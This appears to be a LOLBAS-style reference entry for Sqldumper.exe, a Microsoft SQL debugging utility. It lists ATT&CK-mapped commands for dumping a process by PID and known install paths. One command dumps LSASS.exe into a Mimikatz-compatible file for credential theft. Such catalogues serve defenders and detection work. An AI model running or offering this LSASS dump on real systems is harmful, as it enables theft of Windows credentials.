Skip to content

LIVING OFF THE LAND / OTHER MICROSOFT BINARIES

Sqldumper.exe

Debugging utility included with Microsoft SQL.

02COMMAND EXAMPLES

02ATT&CK TECHNIQUES

03DETECTION RESOURCES

01CAPABILITIES

01 / TRADECRAFT

Command reference

2 examples

Dump2

EXAMPLE 01T1003

Dump process by PID and create a dump file (Appears to create a dump file called SQLDmprXXXX.mdmp).

COMMAND

sqldumper.exe 464 0 0x0110

USE CASE: Dump process using PID.
PRIVILEGES: Administrator
OPERATING SYSTEM: Windows

EXAMPLE 02T1003.001

0x01100:40 flag will create a Mimikatz compatible dump file.

COMMAND

sqldumper.exe 540 0 0x01100:40

USE CASE: Dump LSASS.exe to Mimikatz compatible dump using PID.
PRIVILEGES: Administrator
OPERATING SYSTEM: Windows

02 / ON DISK

Known paths

C:\Program Files\Microsoft SQL Server\90\Shared\SQLDumper.exe

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis\AS OLEDB\140\SQLDumper.exe

C:\Program Files\Microsoft Power BI Desktop\bin\SqlDumper.exe

03 / DEFENSIVE INTELLIGENCE

Detection & indicators

3 resources

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Luis Rocha@countuponsec